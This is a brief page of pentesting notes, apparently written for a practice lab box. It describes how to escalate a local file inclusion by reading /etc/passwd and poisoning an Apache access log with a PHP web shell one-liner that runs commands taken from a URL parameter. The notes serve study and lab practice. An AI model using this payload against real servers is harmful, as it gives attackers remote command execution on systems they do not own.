Last updated 2 years ago
Was this helpful?
If you have a local file inclusion and you can read.
/etc/passwd
In a local file inclusion on an Apache server it may be possible to poison the apache log.
/var/log/apache2/access.log
<?php system($_GET['cmd']); ?>
Doing more research on this for PG Solstice box
